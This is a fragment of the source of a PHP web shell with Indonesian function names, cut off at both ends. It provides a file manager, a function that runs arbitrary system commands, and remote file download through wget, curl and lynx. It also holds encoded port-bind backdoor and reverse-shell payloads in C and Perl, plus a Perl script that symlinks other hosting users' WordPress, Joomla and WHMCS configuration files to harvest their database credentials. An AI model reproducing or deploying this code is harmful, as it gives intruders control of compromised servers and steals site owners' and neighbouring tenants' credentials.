5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC\'>   $folder</a></td><td>LINK</td>\r\n\t\t\t<td style=\\"text-align:center;\\">".$owner."</td>\r\n\t\t\t<td><center>".get_perms($parent)."</center></td><td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($parent))."</td>\r\n\t\t\t<td><span id=\\"titik2\\"><a href=\\"?y=$pwd&amp;edit=".$parent."newfile.php\\">newfile</a> | <a href=\\"javascript:tukar(\'titik2\',\'titik2_form\');\\">newfolder</a></span>\r\n\t\t\t<form action=\\"?\\" method=\\"get\\" id=\\"titik2_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"y\\" value=\\"".$pwd."\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:140px;\\" type=\\"text\\" name=\\"mkdir\\" value=\\"a_new_folder\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" style=\\"width:35px;\\" value=\\"Go !\\" />\r\n\t\t\t</form>\r\n\t\t\t</td></tr>";\r\n\t\t}\r\n\t\telse {\r\n\t\t\tif(!$win && $posix){\r\n\t\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$owner = $user;\r\n\t\t\t}\r\n\t\t\t$buff .= "<tr><td><a id=\\"".clearspace($folder)."_link\\" href=\\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==\' />     [ $folder ]</b></a>\r\n\t\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($folder)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$folder."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$folder."\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($folder)."_form\',\'".clearspace($folder)."_link\');\\" />\r\n\t\t\t</form><td>DIR</td><td style=\\"text-align:center;\\">".$owner."</td>\r\n\t\t\t<td><center>\r\n\t\t\t<a href=\\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\\">".get_perms($pwd.$folder)."</a>\r\n\t\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($folder)."_form3\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\"> \r\n\t\t\t<input type=\\"hidden\\" name=\\"name\\" value=\\"".$folder."\\" style=\\"margin:0;padding:0;\\" /> \r\n\t\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newvalue\\" value=\\"".substr(sprintf(\'%o\', fileperms($pwd.$folder)), -4)."\\" /> \r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"chmod_folder\\" value=\\"chmod\\" /> \r\n\t\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" \r\n\t\t\tonclick=\\"tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form3\');\\" /></form></center></td>\r\n\t\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&amp;fdelete=".$pwd.$folder."\\">delete</a></td></tr>";\r\n\t\t}\r\n\t}\r\n\r\n\tforeach($fname as $file){\r\n\t\t$full = $pwd.$file;\r\n\t\tif(!$win && $posix){\r\n\t\t\t$name=@posix_getpwuid(@fileowner($folder));\r\n\t\t\t$group=@posix_getgrgid(@filegroup($folder));\r\n\t\t\t$owner = $name[\'name\']."<span class=\\"gaya\\"> : </span>".$group[\'name\'];\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$owner = $user;\r\n\t\t}\t\t\r\n\t\t$buff .= "<tr><td><a id=\\"".clearspace($file)."_link\\" href=\\"?y=$pwd&amp;view=$full\\"><b><img src=\'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=\' />   $file</b></a>\r\n\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($file)."_form\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\">\r\n\t\t<input type=\\"hidden\\" name=\\"oldname\\" value=\\"".$file."\\" style=\\"margin:0;padding:0;\\" />\r\n\t\t<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newname\\" value=\\"".$file."\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"rename\\" value=\\"rename\\" />\r\n\t\t<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\\" />\r\n\t\t</form></td><td>".ukuran($full)."</td><td style=\\"text-align:center;\\">".$owner."</td><td><center>\r\n\t\t<a href=\\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\\">".get_perms($full)."</a>\r\n\t\t<form action=\\"?y=$pwd\\" method=\\"post\\" id=\\"".clearspace($file)."_form2\\" class=\\"sembunyi\\" style=\\"margin:0;padding:0;\\"> \r\n<input type=\\"hidden\\" name=\\"name\\" value=\\"".$file."\\" style=\\"margin:0;padding:0;\\" /> \r\n<input class=\\"inputz\\" style=\\"width:200px;\\" type=\\"text\\" name=\\"newvalue\\" value=\\"".substr(sprintf(\'%o\', fileperms($full)), -4)."\\" /> \r\n<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"chmod\\" value=\\"chmod\\" /> \r\n<input class=\\"inputzbut\\" type=\\"submit\\" name=\\"cancel\\" value=\\"cancel\\" onclick=\\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form2\');\\" /></form></center></td>\r\n\t\t<td style=\\"text-align:center;\\">".date("d-M-Y H:i",@filemtime($full))."</td>\r\n\t\t<td><a href=\\"?y=$pwd&amp;edit=$full\\">edit</a> | <a href=\\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\\">rename</a> | <a href=\\"?y=$pwd&amp;delete=$full\\">delete</a> | <a href=\\"?y=$pwd&amp;dl=$full\\">download</a>&nbsp;(<a href=\\"?y=$pwd&amp;dlgzip=$full\\">gzip</a>)</td></tr>";\r\n\t}\r\n\t$buff .= "</table>";\r\n\treturn $buff;\r\n}\r\n\r\nfunction ukuran($file){\r\n\tif($size = @filesize($file)){\r\n\t\tif($size <= 1024) return $size;\r\n\t\telse{\r\n\t\t\tif($size <= 1024*1024) {\r\n\t\t\t\t$size = @round($size / 1024,2);;\r\n\t\t\t\treturn "$size kb";\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$size = @round($size / 1024 / 1024,2);\r\n\t\t\t\treturn "$size mb";\t\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\telse return "???";\r\n}\r\n\r\nfunction exe($cmd){\r\n\tif(function_exists(\'system\')) {\r\n\t\t@ob_start();\r\n\t\t@system($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'exec\')) {\r\n\t\t@exec($cmd,$results);\r\n\t\t$buff = "";\r\n\t\tforeach($results as $result){\r\n\t\t\t$buff .= $result;\r\n\t\t}\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'passthru\')) {\r\n\t\t@ob_start();\r\n\t\t@passthru($cmd);\r\n\t\t$buff = @ob_get_contents();\r\n\t\t@ob_end_clean();\r\n\t\treturn $buff;\r\n\t}\r\n\telseif(function_exists(\'shell_exec\')){\r\n\t\t$buff = @shell_exec($cmd);\r\n\t\treturn $buff;\r\n\t}\r\n}\r\n\r\nfunction tulis($file,$text){\r\n\t$textz = gzinflate(base64_decode($text));\r\n\t if($filez = @fopen($file,"w"))\r\n\t {\r\n\t\t @fputs($filez,$textz);\r\n\t\t @fclose($file);\r\n\t }\r\n}\r\n\r\nfunction ambil($link,$file) { \r\n   if($fp = @fopen($link,"r")){\r\n\t   while(!feof($fp)) { \r\n   \t\t    $cont.= @fread($fp,1024); \r\n   \t\t} \r\n   \t\t@fclose($fp); \r\n\t   $fp2 = @fopen($file,"w"); \r\n\t   @fwrite($fp2,$cont); \r\n\t   @fclose($fp2); \r\n   }\r\n}\r\n\r\nfunction which($pr){\r\n\t$path = exe("which $pr");\r\n\tif(!empty($path)) { return trim($path); } else { return trim($pr); }\r\n}\r\n\r\nfunction download($cmd,$url){\r\n\t$namafile = basename($url);\r\n\tswitch($cmd) {\r\n\t\tcase \'wwget\': exe(which(\'wget\')." ".$url." -O ".$namafile);break;\r\n\t\tcase \'wlynx\': exe(which(\'lynx\')." -source ".$url." > ".$namafile);break;\r\n\t\tcase \'wfread\' : ambil($wurl,$namafile);break;\r\n\t\tcase \'wfetch\' : exe(which(\'fetch\')." -o ".$namafile." -p ".$url);break;\r\n\t\tcase \'wlinks\' : exe(which(\'links\')." -source ".$url." > ".$namafile);break;\r\n\t\tcase \'wget\' : exe(which(\'GET\')." ".$url." > ".$namafile);break;\r\n\t\tcase \'wcurl\' : exe(which(\'curl\')." ".$url." -o ".$namafile);break;\r\n\t\tdefault: break;\r\n\t}\r\n\treturn $namafile;\r\n}\r\n\r\nfunction get_perms($file)\r\n{\r\n\tif($mode=@fileperms($file)){\r\n\t\t$perms=\'\';\r\n\t\t$perms .= ($mode & 00400) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00200) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00100) ? \'x\' : \'-\';\r\n\t\t$perms .= ($mode & 00040) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00020) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00010) ? \'x\' : \'-\';\r\n\t\t$perms .= ($mode & 00004) ? \'r\' : \'-\';\r\n\t\t$perms .= ($mode & 00002) ? \'w\' : \'-\';\r\n\t\t$perms .= ($mode & 00001) ? \'x\' : \'-\';\r\n\t\treturn $perms;\r\n\t}\r\n\telse return "??????????";\r\n}\r\n\r\nfunction clearspace($text){\r\n\treturn str_replace(" ","_",$text);\r\n}\r\n\r\n// net tools\r\n$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf\r\n+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE\r\nP/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ\r\ndKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL\r\n3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug\r\nUq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk\r\nHDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W\r\ntyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL\r\nZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6\r\nuPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";\r\n$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1\r\nNmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg\r\ntNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD\r\ne/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0\r\nLSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo\r\nvaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB\r\n+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";\r\n$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St\r\nktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j\r\nS2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ\r\nja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw\r\nTskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";\r\n$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA\r\nBYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95\r\nzzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75\r\ni+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A\r\nRkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY\r\njwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F\r\n6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";\r\n//confshell\r\n$configshell = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8